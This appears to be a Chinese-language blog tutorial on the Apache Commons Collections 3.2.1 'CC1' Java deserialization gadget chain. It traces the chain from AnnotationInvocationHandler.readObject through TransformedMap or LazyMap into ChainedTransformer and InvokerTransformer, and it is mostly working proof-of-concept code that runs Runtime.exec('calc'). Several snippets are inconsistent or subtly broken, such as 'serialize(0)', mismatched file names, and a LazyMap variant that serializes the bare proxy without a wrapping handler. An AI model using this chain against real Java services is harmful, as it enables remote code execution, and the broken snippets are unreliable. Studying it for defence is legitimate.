https://mp.weixin.qq.com/s/DvJ003gjnoEuv9zZ1xuZjw
https://mp.weixin.qq.com/s/4Ily5sCnUxY30HMx_WaiXg
1.环境搭建
适用版本:commons-collections:3.2.1
利用前提:目标应用存在 Java 原生反序列化入口(如 ObjectInputStream.readObject()),且类路径中包含 CC 3.2.1
JDK 版本建议:≤ JDK 8u71(高版本对反序列化做了安全限制)
https://hg.openjdk.org/jdk8u/jdk8u/jdk/archive/af660750b2f4.zip
https://www.123pan.com/s/94VA-qOEVv —- JDK8u65
解压JDK8u65的src压缩包,将sun包放到src目录下
在项目结构中导入目录即可

1
2
3
4
5
6
7
|
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
mvn dependency:sources
|
2.Apache Commons Collections简介
Apache Commons Collections包和简介 | 闪烁之狐

3.CC1链简介
1
2
3
4
5
6
7
|
ObjectInputStream.readObject()
└─ AnnotationInvocationHandler.readObject()
└─ 遍历 memberValues(即 TransformedMap)
└─ 调用 TransformedMap.entrySet().iterator().next().setValue()
└─ 触发 LazyMap / TransformedMap 的 transform()
└─ ChainedTransformer.transform()
└─ InvokerTransformer.transform() → Runtime.exec("calc")
|
IDEA快捷键 Ctrl+H快速查看哪些类实现了Transformer接口

InvokerTransformer这个类实现了Transformer接口,并且InvokerTransformer类的transformer方法执行反射调用,他接收一个对象input,并通过反射查找传入对象的方法,并且调用该方法

3.1.为什么它能执行任意命令?(CC1攻击原理)
input 可以是任意对象,而 iMethodName / iArgs 由攻击者控制。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
package cn.itcast.demo.cc1;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
public class testcc1 {
public static void main(String[] args) throws Exception {
//直接执行RCE
//Runtime.getRuntime().exec("calc");
//利用Java反射执行RCE
Runtime rce = Runtime.getRuntime();
// Class<Runtime> rclass = Runtime.class;
// Method exec = rclass.getMethod("exec", String.class);
// exec.invoke(rce, "calc");
//利用InvokerTransformer的transform执行RCE
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(rce);
}
}
|

在此我们已经发现transform()方法是一个危险执行点,关键是我们要找到谁在反序列化时调用了它
<font style="color:rgba(17, 17, 51, 0.5);background-color:rgba(175, 184, 193, 0.2);">transform()</font> 本身不会自动执行,必须由 **<font style="color:rgba(17, 17, 51, 0.5);background-color:rgba(175, 184, 193, 0.2);">LazyMap</font>** 或 **<font style="color:rgba(17, 17, 51, 0.5);background-color:rgba(175, 184, 193, 0.2);">TransformedMap</font>** 在特定操作时触发,而这些操作又被 **<font style="color:rgba(17, 17, 51, 0.5);background-color:rgba(175, 184, 193, 0.2);">AnnotationInvocationHandler.readObject()</font>** 自动调用。
查看哪些方法调用了transform()方法,这里我们可以看到TransformedMap的checkSetValue方法调用了valueTransformer.transform()方法

那么valueTransformer是什么?它是TransformedMap 的一个成员变量,类型是 Transformer
它从哪来?由用户通过 `TransformedMap.decorate(map, keyTf, valueTf)传入
它的作用?对 Map 的 value 进行转换(在 put 或 setValue 时自动调用)
为什么危险?如果它是 InvokerTransformer 链,就会在反序列化时执行任意代码
所以此时我们就知道了,如果valueTransformer =InvokerTransformer并进行以下利用
1
2
3
|
checkSetValue(Runtime.getRuntime())
那么实际执行的就是
return InvokerTransformer.transform(Runtime.getRuntime());
|
我们发现TransformedMap的构造方法传入**valueTransformer,并给他赋值,但是这个构造方法是protected受保护的,没办法在类的外部调用**

1
2
3
4
5
|
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}
|
那就去看类的内部有什么方法调用TransformedMap方法,并且这个方法是public类型,也能传入valueTransformer,我们发现decorete()这个方法符合我们的要求

new TransformedMap这个构造方法

1
2
3
4
|
传入参数
map Map 被装饰(wrapped)的底层 Map,如 HashMap
keyTransformer Transformer 对 key 进行转换的处理器(可为 null)
valueTransformer Transformer 对 value 进行转换的处理器(CC1 中放恶意链的位置!)
|

将传入的map传给给父类,父类调用setValue方法对真正设置新值之前,先用 valueTransformer 对 value 做一次“转换”。
TransformedMap 是典型的 装饰器模式(Decorator Pattern):它包装一个普通 Map,并在操作时自动对 key/value 做额外处理。
你用decorete(map)传入一个map,然后返回给你一个map,但是这个decorete对你输入的map做了一些增强,添加了一些新功能。被增强的TransformedMap 对象,在执行Map.Entry.setvalue()的时候,会被替换为重写过的setvalue()方法
但是checkSetValue也是受保护的,所以我们找哪个公开的方法调用checkSetValue方法

点击方法调用,发现setValue方法调用了checkSetValue()方法,setValue()方法是MapEntry这个类的(MapEntry 是内部静态类,重写了 setValue()),他在AbstractInputCheckedMapDecorator这个类中,而这个类正好是TransformedMap的父类
3.4.AbstractMapEntryDecorator
这3个静态内部类都继承了AbstractMapEntryDecorator这个类,而AbstractMapEntryDecorator这个类又实现了Map.Entry, KeyValue这个两个接口


而这个MapEntry也就是实现了Map.Entry这个接口的一些方法和功能。MapEntry是Java 集合框架中的一个接口,用于表示 Map(映射)中的一个键值对,而这里的setValue方法就是重写了Map.Entry里的setValue方法
而MapEntry是一个protected修饰的类,我们查找内部哪个方法调用了这个类,发现EntrySetIterator里面的next()方法调用了MapEntry

而EntrySetIterator也是protected修饰的类,往上看内部哪个类调用了这个类,发现EntrySet的iterator这个方法创建了这个对象

而哪个类调用了EntrySet方法呢?发现AbstractInputCheckedMapDecorator这个类的entrySet()方法内部创建了EntrySet对象。而AbstractInputCheckedMapDecorator这个是TransformedMap </font>的父类,并且TransformedMap这个类没用实现entrySet()方法,如果我们直接使用TransformedMap调用entrySet()方法,那么就会调用父类AbstractInputCheckedMapDecorator`这个类的entrySet()方法

在调用这个entrySet()方法时首先会经过一个if判断,判断这个isSetValueChecking()方法是否为true,而这个方法在TransformedMap中的判断逻辑是,只要valueTransformer不为null,则为真
1
2
3
4
5
6
7
8
9
10
11
12
|
public Set entrySet() {
if (isSetValueChecking()) {
return new EntrySet(map.entrySet(), this);
} else {
return map.entrySet();
}
}
判断这个isSetValueChecking()方法是否为true,而这个方法在TransformedMap中的判断逻辑是
只要valueTransformer不为null,则为真
protected boolean isSetValueChecking() {
return (valueTransformer != null);
}
|


进入这个方法后就层层往下走,走到MapEntry这个类,而parent是方法调用者,方法调用者是谁就是TransformedMap这个子类,而我们子类在主动调用setValue这个方法就可以调用checkSetValue()这个方法

AbstractInputCheckedMapDecorator 是一个“守门人”——所有通过 entry.setValue() 写入的值,都必须先经过它的 checkSetValue() 审查(或转换),而攻击者正是利用了这个“审查”机制来执行恶意代码。
1.给AbstractMapEntryDecorator子类的MapEntry.setValue(传入Runtime.getRuntime())
2.给TransformedMap的valueTransformer赋值为构造好的InvokerTransformer
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
package cn.itcast.demo.cc1;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class cc1test {
public static void main(String[] args) {
Map<Object, Object> map = new HashMap();
InvokerTransformer exec = new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc"});
map.put("value", "123");
//为什么keyTransformer可以为null,因为keyTransformer没用用到
Map<Object, Object> decorate = TransformedMap.decorate(map, null, exec);
for (Map.Entry<Object, Object> entry : decorate.entrySet()) {
//System.out.println(entry.getKey() + "=" + entry.getValue());
entry.setValue(Runtime.getRuntime());
}
}
}
|


3.5.谁可以调用setValue方法—AnnotationInvocationHandler
接下来的问题是谁调用了Map.Entry.setValue()方法,最好重写了readObject()方法,并在readObject()方法调用setValue()方法,这样就一步到位了
全局搜索,发现AnnotationInvocationHandler这个类重写了readObject()方法,并且内部实现了setValue()方法,首先这个AnnotationInvocationHandler类的构造方法不是public修饰的,所以我们后面如果要调用这个构造方法需要通过反射来调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
|

那么这个类是干什么的?它是JDK的 内部类,用于创建注解代理
它的作用?把一个 Map 包装成注解代理的 InvocationHandler
是否可控?是!只要 type 是合法注解,memberValues 就可以是任意 Map
为什么危险?readObject() 会自动遍历 memberValues`,从而触发恶意代码
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues)这个构造方法接收一个注解类和Map集合
type:要代理的注解类(必须是 `Annotation 接口的子类)
- `memberValues:存储注解的键值对(如@MyAnno(value=“abc”)>{“value”: “abc”})
⚠️ 这个 `memberValues 就是我们埋入恶意 Map的地方!
我们先来分析一下这个readObject方法,这个方法的主要作用就是确保反序列化的对象确实是注解
1
2
3
4
5
6
7
8
9
10
11
|
//声明一个变量,用于存储当前注解类型的元数据(如方法名、返回类型等)
AnnotationType annotationType = null;
try {
//获取与注解接口 type 对应的 AnnotationType 元数据对象
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}
//获取该注解所有成员(方法)的名称 → 返回类型的映射
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
|
1
2
3
4
5
6
7
8
9
10
11
12
|
@Test
public void test3() {
AnnotationType annotationType = AnnotationType.getInstance(Override.class);
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
AnnotationType annotationType2 = AnnotationType.getInstance(Target.class);
Map<String, Class<?>> memberTypes2 = annotationType2.memberTypes();
System.out.println(memberTypes);
System.out.println(memberTypes2);
}
因为Override这个注解为空,所以打印的memberTypes就是空的
而Target这个注解有个value属性,所以打印的memberTypes2为value
|


而这个memberValues我们得传入一个transformedMap对象,这样才能执行命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
//memberValues是我们调用TransformedMap.decorate传入的map对象
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
//获取我们传入的map对象的key值,此时我们的key为value,value为123
String name = memberValue.getKey(); //name = value
//memberTypes.getKey()是获取这个注解类的属性值
Class<?> memberType = memberTypes.get(name);
//如果这个注解类的属性值中没用value我们传入的key,则为null
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
//判断这个注解对象的实例是否是我们传入map中的value值,很明显不可能是,
并且value instanceof ExceptionProxy这个判断也是false,所以取反后就为true
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
|
但是我们会发现memberValue.setValue这个传入的参数是我们不可控的,而如果要造成RCE,我们得传入Runtime.getRuntime()这个对象。entry.setValue(Runtime.getRuntime());,所以我们回头找有没有其它的transform类能解决这个问题
1.但是这个类不是公开的类,我们需要使用反射调用
1
2
3
4
5
6
|
Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = aClass.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Target.class, decorate);
serialize(0);
deserialize("test.ser");
|
2.这有三个问题但是
- Runtime.getRuntime这个类无法被序列化和反序列化

解决办法,Runtime是不能被序列化的,但是Runtime.class是可以被序列化的
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
这个test2()方法就等价于Runtime.getRuntime.exec(calc),但是由于Runtime不能被序列化所以写成反射形式
@Test
public void test2() throws Exception {
Class<Runtime> aClass = Runtime.class;
Method getRuntime = aClass.getDeclaredMethod("getRuntime", null);
getRuntime.setAccessible(true);
Object getRuntimeinvoke = getRuntime.invoke(aClass, null);
//System.out.println(getRuntimeinvoke);
Method exec = aClass.getMethod("exec", String.class);
exec.invoke(getRuntimeinvoke, "calc");
}
//
Method execMethod = (Method) new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", null}).transform(Runtime.getRuntime());
Runtime runtime = (Runtime) new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, null}).transform(execMethod);
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc"}).transform(runtime);
|
- 执行memberType.setValue()方法需要先经过两层if判断,如何让我们代码能顺利通过这两层if判断
1
|
if (memberType != null) //需要这个memberType不为null
|

type是可控的,是我们利用构造方法传入的
1
2
3
4
5
6
7
8
9
10
|
public void test() throws Exception {
AnnotationType annotationType = AnnotationType.getInstance(Target.class);
Map<String, Class<?>> types = annotationType.memberTypes();
for (Map.Entry<String, Class<?>> entry:types.entrySet()) {
System.out.println(entry.getKey() + " " + entry.getValue());
}
}
// Target.class 是一个合法的注解类型(如 java.lang.annotation.Target)
// 用于满足 AnnotationInvocationHandler 构造器的 type 参数要求
|

- entry.setValue()我们要传入Runtime对象,但是这个AnnotationInvocationHandler类的setValue方法传入的是一个AnnotationTypeMismatchExceptionProxy这个对象,这里我们好像控制不了
1
2
3
|
for (Map.Entry<Object, Object> entry:decorate.entrySet()) {
entry.setValue(Runtime.getRuntime());
}
|

1
2
3
4
5
6
7
8
9
10
11
12
13
|
HashMap<Object, Object> map = new HashMap<>();
map.put("value", null);
Map<Object, Object> decorate = TransformedMap.decorate(map, null, exec);
for (Map.Entry<Object, Object> entry:decorate.entrySet()) {
entry.setValue(Runtime.getRuntime());
}
Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = aClass.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Target.class, decorate);
serialize(0);
deserialize("test.ser");
|
那么有没有一种transform不管输入什么都返回指定的内容呢?有的,就是ConstantTransform,我们可以看到ConstantTransformer.transform方法不管介绍什么都返回一个常量,而这个常量是他构造方法中我们可以输入的,所以这就解决了前面AnnotationInvocationHandler类的setValue方法我们控制不了的问题

1
2
|
ConstantTransformer constantTransformer = new ConstantTransformer(Runtime.class);
constantTransformer.transform("value");
|

这个ChainedTransform类的transform方法的作用是:将输入对象依次通过多个 Transformer 处理,前一个的输出作为后一个的输入。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
Transformer[] transformers = {
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, null}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);
|
3.7.最终代码
最终poc代码(基于TransformedMap)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
public void cc1() throws Exception {
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
});
HashMap<Object, Object> map = new HashMap<>();
map.put("value", "value");
Map<Object, Object> decorated = TransformedMap.decorate(map, null, chainedTransformer);
Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Target.class, decorated);
serialize(o);
deserialize("test.ser");
}
|
基于LazyMap
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
|
@Test
public void cc1_lazyMap() throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// 使用 LazyMap(更稳定)
Map innerMap = new HashMap();
innerMap.put("value", "dummy");
Map lazyMap = LazyMap.decorate(innerMap, chainedTransformer);
// 创建 AnnotationInvocationHandler
Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> ctor = clazz.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) ctor.newInstance(Target.class, lazyMap);
// 创建代理对象(关键!)
Target proxy = (Target) Proxy.newProxyInstance(
getClass().getClassLoader(),
new Class[]{Target.class},
handler
);
// 序列化代理对象(不是 handler 本身!)
serialize(proxy); // 注意:序列化的是 proxy
unserialize("ser.bin");
}
|
AnnotationInvocationHandler 实际是注解的动态代理。
- 当反序列化后,若有人调用注解方法(如
@Target.value()),会触发 LazyMap.get("value")
- 而
TransformedMap 依赖 setValue(),仅在部分 JDK 版本中被调用,不稳定。
- 因此 LazyMap + 动态代理 是更通用的触发方式。
https://drun1baby.top/2022/06/10/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Commons-Collections%E7%AF%8702-CC1%E9%93%BE%E8%A1%A5%E5%85%85/